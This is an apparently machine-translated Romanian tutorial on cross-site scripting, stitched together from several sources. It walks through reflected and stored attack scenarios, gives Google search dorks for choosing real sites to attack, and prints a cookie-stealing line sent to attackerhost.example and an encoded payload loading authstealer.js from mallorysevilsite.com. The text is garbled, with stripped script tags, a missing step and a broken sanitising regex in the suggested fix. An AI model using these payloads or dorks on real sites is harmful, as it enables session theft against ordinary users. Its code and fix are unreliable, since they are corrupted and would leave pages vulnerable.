    Pentru vulnerabilitățile XSS, atacurile pot folosi BeEF, care extinde atacul de pe site la mediul local al utilizatorilor.

    Exemplu de atac XSS nepersistent

    1. Alice vizitează frecvent un anumit site web găzduit de Bob. Site-ul web al lui Bob îi permite lui Alice să se conecteze cu un nume de utilizator/parolă și să stocheze date sensibile, cum ar fi informațiile de plată. Când un utilizator se conectează, browserul stochează cookie-uri de autorizare, care arată ca niște caractere fără sens, de exemplu. ambele computere (client și server) își amintesc că a intrat.

    2. Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS nepersistentă:

    2.1 Când vizitați pagina de căutare, introduceți șirul de căutare și faceți clic pe butonul de trimitere, dacă nu se găsesc rezultate, pagina afișează șirul de căutare introdus urmat de cuvintele „not found” și url-ul arată ca http://bobssite .org?q= ea interogare de căutare

    2.2 Cu o interogare de căutare normală, cum ar fi cuvântul „câini”, pagina afișează pur și simplu „no dogs found” și url-ul http://bobssite.org?q=dogs, care este un comportament destul de normal.

    2.3 Cu toate acestea, atunci când o interogare de căutare anormală, cum ar fi alert("xss"); :

    2.3.1 Apare un mesaj de avertizare (care spune „xss”).

    2.3.2 Pagina afișează alertă ("xss"); nu a fost găsit împreună cu un mesaj de eroare cu textul „xss”.

    2.3.3 url potrivit pentru exploatare http://bobssite.org?q=alert("xss");

    3. Mallory construiește o adresă URL pentru a exploata vulnerabilitatea:

    3.1 Ea face adresa URL http://bobssite.org?q=puppies. Ea poate alege să convertească caracterele ASCII în format hexazecimal, cum ar fi http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E pentru a pentru a împiedica oamenii să descifreze imediat o adresă URL rău intenționată.

    3.2 Ea trimite un e-mail unor membri nebănuiți ai site-ului lui Bob spunând: „Uită-te la câinii cool”.

    4. Alice primește o scrisoare. Iubește câinii și dă clic pe link. Ea merge pe site-ul lui Bob în căutare, nu găsește nimic, acolo este afișat „no dog found”, iar în mijloc este lansată o etichetă cu un script (este invizibil pe ecran), descarcă și execută Malory. programul authstealer.js (declanșează un atac XSS). Alice uită de asta.

    5. Programul authstealer.js rulează în browser-ul lui Alice ca și cum ar fi provenit de pe site-ul lui Bob. Ea ia o copie a cookie-urilor de autorizare ale lui Alice și le trimite pe serverul lui Malory, unde Malory le preia.

    7. Acum că Mallory este înăuntru, merge la secțiunea de plată a site-ului, caută și fură o copie a numărului cardului de credit al lui Alice. Apoi se duce și schimbă parola, adică. Acum, Alice nici nu mai poate intra.

    8. Ea decide să facă următorul pas și trimite link-ul astfel construit lui Bob însuși și astfel primește privilegii administrative pentru site-ul lui Bob.

    Atacul XSS persistent

  • Mallory are un cont pe site-ul lui Bob.
  • Mallory observă că site-ul lui Bob conține o vulnerabilitate XSS persistentă. Dacă te duci la noua sectiune, postați un comentariu, acesta afișează orice este introdus în el. Dar dacă textul comentariului conține etichete HTML, acele etichete vor fi redate așa cum sunt și orice etichete de script vor fi executate.
  • Mallory citește un articol în secțiunea Știri și scrie un comentariu în secțiunea Comentarii. În comentariu ea introduce textul:
  • Mi-au plăcut foarte mult câinii din această poveste. Sunt atât de drăguți!
  • Când Alice (sau oricine altcineva) încarcă pagina cu acest comentariu, eticheta de script a lui Malory rulează și fură cookie-ul de autorizare al lui Alice, îl trimite la server secret Mallory pentru colectare.
  • Mallory poate deturna acum sesiunea lui Alice și se poate uzurpa pe Alice.
    • Găsirea site-urilor vulnerabile la XSS

    Dorks pentru XSS

    Primul pas este să selectăm site-urile pe care vom efectua atacuri XSS. Site-urile pot fi căutate folosind Google dorks. Iată câțiva dintre acești idioți pe care îi puteți copia și lipi într-o căutare pe Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    O listă de site-uri se va deschide în fața noastră. Trebuie să deschideți site-ul și să găsiți câmpuri de introducere pe acesta, cum ar fi un formular feedback, formular de introducere, căutare pe site etc.

    Permiteți-mi să observ imediat că este aproape inutil să căutați vulnerabilități în aplicațiile web populare actualizate automat. Un exemplu clasic de astfel de aplicație este WordPress. De fapt, există vulnerabilități în WordPress și mai ales în pluginurile sale. Mai mult, sunt multe site-uri care nu actualizează nici motorul WordPress (datorită faptului că webmasterul a făcut unele modificări la codul sursă), nici plugin-urile și temele lor (de regulă, acestea sunt plugin-uri și teme piratate). Dar dacă citești această secțiune și înveți ceva nou din ea, atunci WordPress nu este încă pentru tine... Cu siguranță vom reveni la el mai târziu.

    Cele mai bune obiective sunt o varietate de motoare și scripturi auto-scrise.

    Puteți selecta sarcina utilă de inserare ca

    alertă (1)

    Fiți atenți la ce etichete de cod HTML se încadrează codul dvs. încorporat. Iată un exemplu de câmp de intrare tipic:

    alertă (1)

    Sarcina noastră utilă va ajunge acolo unde este acum cuvântul „față de pernă”. Aceste. se transformă în valoarea etichetei de intrare. Putem evita acest lucru - închidem ghilimelele duble și apoi eticheta în sine cu „/>

    "/>alertă(1)

    Să încercăm pentru un site:

    Grozav, există o vulnerabilitate

    Programe pentru căutarea și scanarea vulnerabilităților XSS

    Probabil că toate scanerele de aplicații web au un scaner de vulnerabilități XSS încorporat. Acest subiect nu este cuprinzător, este mai bine să vă familiarizați cu fiecare scaner similar.

    Cross-Site Scripting sau XSS. Cross-site scripting (scriptare cross-site).

    Vulnerabilitatea Cross-site Scripting permite unui atacator să trimită cod executabil către server, care va fi redirecționat către browserul utilizatorului. Acest cod este de obicei scris în HTML/JavaScript, dar pot fi utilizate VBScript, ActiveX, Java, Flash sau alte tehnologii acceptate de browser.

    Codul transmis este executat în contextul de securitate (sau zona de securitate) a serverului vulnerabil. Folosind aceste privilegii, codul poate citi, modifica sau transmite date sensibile accesibile prin browser. Contul utilizatorului atacat poate fi compromis (furt de cookie-uri), browserul acestuia poate fi redirecționat către alt server sau conținutul serverului poate fi înlocuit. Ca urmare a unui atac atent planificat, un atacator poate folosi browserul victimei pentru a vizualiza paginile site-ului web în numele utilizatorului atacat. Codul poate fi transmis de către un atacator în URL-ul, în Metodele și structura antetelor cererii HTTP (Cookie, user-agent, referer), valorile câmpurilor de formular etc.

    Există trei tipuri de atacuri cu scripturi între site-uri: nepersistente (reflectate), persistente (persistente) și bazate pe DOM. Principala diferență între persistent și nepersistent este că în versiunea reflectată, codul este transmis către server și returnat clientului în cadrul unei cereri HTTP, iar în versiunea stocată - în altele diferite.

    Efectuarea unui atac nepersistent presupune ca utilizatorul să urmeze un link generat de atacator (linkul poate fi trimis prin e-mail, ICQ etc.). În timpul procesului de încărcare a site-ului, codul încorporat în URL-ul sau anteturile cererii va fi transmis clientului și executat în browserul acestuia.

    Un tip de vulnerabilitate stocat apare atunci când codul este transferat pe un server și stocat pe acesta pentru o anumită perioadă de timp. Cele mai populare ținte ale atacurilor în acest caz sunt forumurile, e-mailurile cu Interfață webși chat-uri. Pentru a ataca, utilizatorul nu trebuie să urmeze linkul este suficient să viziteze site-ul vulnerabil.

      Exemplu. Opțiune de atac persistent.

    Multe site-uri au panouri de mesaje și forumuri care permit utilizatorilor să posteze mesaje. Un utilizator înregistrat este de obicei identificat printr-un număr

    sesiune, stocată într-un cookie. Dacă un atacator lasă un mesaj care conține cod JavaScript, va obține acces la ID-ul de sesiune al utilizatorului. Exemplu de cod pentru transmiterea cookie-urilor:

      document.location= "http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie

    De exemplu, când urmărește adresa URL http://portal.example/search?q= „bere proaspătă”, utilizatorului i se va afișa o pagină care conține rezultatele căutării și expresia: „S-au găsit 0 pagini pentru bere proaspătă solicitată”. Dacă Javascript este transmis ca expresie de căutare, acesta va fi executat în browserul utilizatorului. Exemplu:

    Http://portal.example/search/?q=alert("xss")

    URLEncode poate fi folosit pentru a ascunde codul de script

    Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

    Flanagan David JavaScript

    Extras din cartea lui David Flanagan JavaScript Ghid complet a 5-a editie.

    Termenul cross-site scripting, sau XSS, se referă la o zonă de vulnerabilitate a computerului în care un atacator injectează etichete sau scripturi HTML în documente de pe un site web vulnerabil. Protejarea împotriva atacurilor XSS este comună în rândul dezvoltatorilor web care scriu scripturi pe server. Cu toate acestea, programatorii Cei care dezvoltă scripturi JavaScript la nivelul clientului ar trebui să fie, de asemenea, conștienți de atacurile XSS și să ia măsuri pentru a se proteja împotriva acestora.

    O pagină web este considerată vulnerabilă la atacurile XSS dacă generează în mod dinamic conținut de document pe baza intrărilor utilizatorului care nu a fost preprocesat pentru a elimina codul HTML încorporat. Ca exemplu banal, luați în considerare următoarea pagină web, care utilizează un script JavaScript pentru a saluta utilizatorul după nume:

    nume var = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Bună ziua" + nume);

    A doua linie a scriptului apelează metoda window.location.search.substring, care preia porțiunea șirului de adrese care începe cu caracterul ?. Conținutul documentului generat dinamic este apoi adăugat folosind metoda document.write(). Acest scenariu presupune că pagina web va fi accesată folosind ceva de genul acesta adrese URL:

    Http://www.example.com/greet.html?name=David

    În acest caz, va fi afișat textul „Hello David”. Dar ce se întâmplă dacă pagina este solicitată folosind următoarea adresă URL:

    Http://www.example.com/greet.html?name=%3Cscript%3Ealert(„David”)%3C/script%3E

    Cu acest conținut URL, scriptul va genera în mod dinamic un alt script (codurile %3C și %3E sunt paranteze unghiulare)! În acest caz, scriptul inserat va afișa pur și simplu o casetă de dialog, care nu prezintă niciun pericol. Dar imaginați-vă acest caz:

    Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

    Cross-site scripting se numește așa deoarece mai multe site-uri sunt implicate în atac. Site-ul B (sau chiar Site-ul C) include un link special creat (ca cel prezentat recent) către Site-ul A, care conține un script de pe Site-ul B. Scriptul evil.js este găzduit pe site-ul atacatorului B, dar acum scriptul ajunge injectat în Site-ul A și poate face tot ce dorește cu conținutul Site-ului A. Poate șterge o pagină sau poate provoca alte perturbări ale site-ului (cum ar fi refuzul serviciului, discutat în secțiunea următoare). Acest lucru ar putea avea un impact negativ asupra vizitatorilor Site-ului A. Mult mai periculos, un astfel de script rău intenționat ar putea citi conținutul cookie-urilor stocate pe Site-ul A (conținând posibil numere de cont sau alte informații personale) și trimite acele date înapoi către Site-ul B. scriptul încorporat ar putea chiar să urmărească tastele și să trimită aceste date către site-ul B.

    Modul universal de a preveni atacurile XSS este eliminarea Etichete HTML din toate datele de origine discutabilă înainte de a le utiliza pentru a genera în mod dinamic conținutul documentului. Pentru a remedia această problemă în fișierul greet.html afișat mai devreme, trebuie să adăugați următoarea linie la scriptul dvs. pentru a elimina parantezele unghiulare care înconjoară:

    Nume = nume.inlocuire(//g, ">");

    Cross-site scripting este o vulnerabilitate adânc înrădăcinată în arhitectură World wide web. Este necesar să înțelegem profunzimea acestei vulnerabilități.